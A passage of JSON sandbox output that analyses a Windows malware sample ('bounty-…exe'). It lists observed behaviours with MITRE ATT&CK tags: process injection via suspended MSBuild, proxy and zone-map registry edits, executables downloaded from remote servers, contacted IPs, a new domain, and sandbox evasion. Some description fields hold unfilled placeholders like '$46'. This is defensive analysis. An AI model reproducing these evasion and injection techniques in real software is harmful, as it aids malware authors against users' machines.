sections\"- Location: [%TEMP%\\10716570101\\cde4308e66.exe]- [targetUID: 00000000-00005828]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$46","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 94.154.35.25 on port 80 is sent without HTTP header\n TCP traffic to 178.16.54.200 on port 80 is sent without HTTP header\n TCP traffic to 149.154.167.99 on port 443 is sent without HTTP header\n TCP traffic to 109.104.153.203 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"bounty-38813904328784694.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"bounty-38813904328784694.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"random_1_.exe\" claimed CRC 2044457 while the actual is CRC 476114","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"random_1_.exe\" has an entrypoint in section \"kcincckn\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$47","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"bounty-38813904328784694.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\10716570101\\cde4308e66.exe\"\" - (UID: 00000000-00006528)\n \"bounty-38813904328784694.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\10716580101\\adc663ab13.exe\"\" - (UID: 00000000-00006528)\n \"adc663ab13.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe\" - (UID: 00000000-00006500)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the system/video BIOS version","description":"\"cde4308e66.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"cde4308e66.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":9,"id":"registry-6","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"20/27 Antivirus vendors marked sample as malicious (74% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"bounty-38813904328784694.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\10716570101\\cde4308e66.exe (UID: 00000000-00006528)\n \"bounty-38813904328784694.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\10716580101\\adc663ab13.exe (UID: 00000000-00006528)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$48","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"GET /files/rdx/random.exe HTTP/1.1\n\n GET /files/fate/random.exe HTTP/1.1\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Network Related","name":"Recently registered domain detected","description":"Recently Registered domain detected: \"commum.asia\" (2 days old). Commonly seen with phishing or other suspicious domains","origin":"Network Traffic","mitre_attack_id":"T1583.001","relevance":10,"id":"network-8601","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"bounty-38813904328784694.exe\" (UID: 00000000-00006528)\n Spawned process \"cde4308e66.exe\" (UID: 00000000-00005828)\n Spawned process \"WerFault.exe\" with commandline \"-pss -s 440 -p 5828 -ip 5828\" (UID: 00000000-00008092)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 5828 -s 748\" (UID: 00000000-00003844)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 5828 -s 748\" (UID: 00000000-00004916)\n Spawned process \"adc663ab13.exe\" (UID: 00000000-00006500)\n Spawned process \"MSBuild.exe\" (UID: 00000000-00003492)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"$49","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"3e79d3cef1.exe\" called \"FindResourceA\" with parameter \"24193784\" - (UID: 00000000-00004328)\n \"3e79d3cef1.exe\" called \"FindResourceA\" with parameter \"4585304\" - (UID: 00000000-00004328)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"3e79d3cef1.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4655920'}\" (UID: 00000000-00004328)\n \"3e79d3cef1.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4655376'}\" (UID: 00000000-00004328)\n \"3e79d3cef1.exe\" called \"LoadResource with parameter {'hModule': '1967325184', 'hResInfo': '2622960'}\" (UID: 00000000-00004328)\n \"3e79d3cef1.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4655792'}\" (UID: 00000000-00004328)\n \"3e79d3cef1.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4655072'}\" (UID: 00000000-00004328)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Tries to map intranet network resources to internet zone","description":"\"bounty-38813904328784694.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API ImageList_WriteEx@COMCTL32.DLL at 00000000-00004328-8512-2132-004412E0\n Found reference to API InitializeFlatSB@COMCTL32.DLL at 00000000-00004328-8512-4233-004299F0","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \"BSS\" is zero\n Raw size of \".tls\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004244.00000000.294654.0007D000.00000002.mdmp\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004328.00000000.294363.002D0000.00000040.mdmp, 00000000-00004328.00000000.294370.00300000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use asymmetric encryption algorithm","description":"The analysis found public/private key which shows ability to use asymmetric encryption algorithm. Matched sigs: Possibly contains Public/Private key (encryption)","origin":"Indicator Combinations","mitre_attack_id":"T1573.002","relevance":1,"id":"summary-33","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"GetUserNameA\" (Source: \"00000000-00003004.00000000.293323.0107F000.00000002.mdmp\")\n Found string \"GetUserName failed\" (Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found string \"GetUserNameW\" (Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment","description":"Found string \"vboxguestadditions\" (Indicator: \"VBoxGuest\"; Source: \"00000000-00004328.00000000.294363.00160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-660","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"bounty-38813904328784694\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"bounty-38813904328784694\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; File: \"00000000-00004328.00000000.294363.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"00000000-00004328.00000000.294363.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00004328.00000000.294363.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"00000000-00004328.00000000.294363.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00004328.00000000.294363.00460000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetKeyboardType\" (Indicator: \"GetKeyboardType\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"GetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"GetKeyboardType\" (Indicator: \"GetKeyboardType\"; Source: \"00000000-00004328.00000000.294363.00460000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"bounty-38813904328784694.exe\" called \"LookupAccountSidW\" with param Name 6Gmjt9c (UID: 00000000-00003004)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00004328-8512-1762-0042E1A8\n GetTickCount@KERNEL32.DLL at 00000000-00004328-8512-1960-0043B130\n GetTickCount@KERNEL32.DLL at 00000000-00004328-8512-2239-0044A25C\n GetTickCount@KERNEL32.DLL at 00000000-00004328-8512-2240-00406B38","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.DLL at 00000000-00004328-8512-946-00409A48","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.DLL at 00000000-00004328-8512-1251-0040BF40\n GetVersion@KERNEL32.DLL at 00000000-00004328-8512-2090-0043EAC4\n GetVersion@KERNEL32.DLL at 00000000-00004328-8512-2146-00442E7C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@KERNEL32.DLL at 00000000-00004328-8512-1218-0040869C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.001","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set %s(%s) to %s, priority %d\" (Indicator: \"set \"; File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found string \"Set childComms inheritable\" (Indicator: \"set \"; File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found string \"set \"%s\" to %dx%dx%d\" (Indicator: \"set \"; File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"NetServerGetInfo\" (Indicator: \"NetServerGetInfo\"; File: \"bounty-38813904328784694\")\n Found reference to API \"NetServerGetInfo\" (Indicator: \"NetServerGetInfo\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetKeyboardLayoutList@USER32.DLL at 00000000-00004328-8512-1893-004507C0\n GetKeyboardLayout@USER32.DLL at 00000000-00004328-8512-2075-00450324\n GetKeyboardType@USER32.DLL at 00000000-00004328-8512-2626-00402EF7\n GetKeyboardType@USER32.DLL at 00000000-00004328-8512-4760-00403026","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains reference to Borland Delphi related registry entry","description":"\"Software\\Borland\\Delphi\\Locales\" (Indicator: \"\\borland\\delphi\\locales\") in Source: 8512-31-00405544\n \"Software\\Borland\\Delphi\\Locales\" (Indicator: \"\\borland\\delphi\\locales\") in Source: 00000000-00004328.00000000.294363.00401000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-324","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Found registry location string related to BIOS","description":"Observed string: \"HARDWARE\\DESCRIPTION\\System\\BIOS\" (Indicator: \"hardware\\description\\system\\bios\") in Source: 10439-4519-005321F0\n Observed string: \"HARDWARE\\DESCRIPTION\\System\\BIOS\" (Indicator: \"hardware\\description\\system\\bios\") in Source: 00000000-00004244.00000000.294654.005C0000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-350","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0004h\" and \"setnb byte ptr [00462B18h]\" at 00000000-00004328-8512-2090-0043EAC4\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0004h\" and \"jc 00443032h\" at 00000000-00004328-8512-2146-00442E7C","origin":"Hybrid Analysis 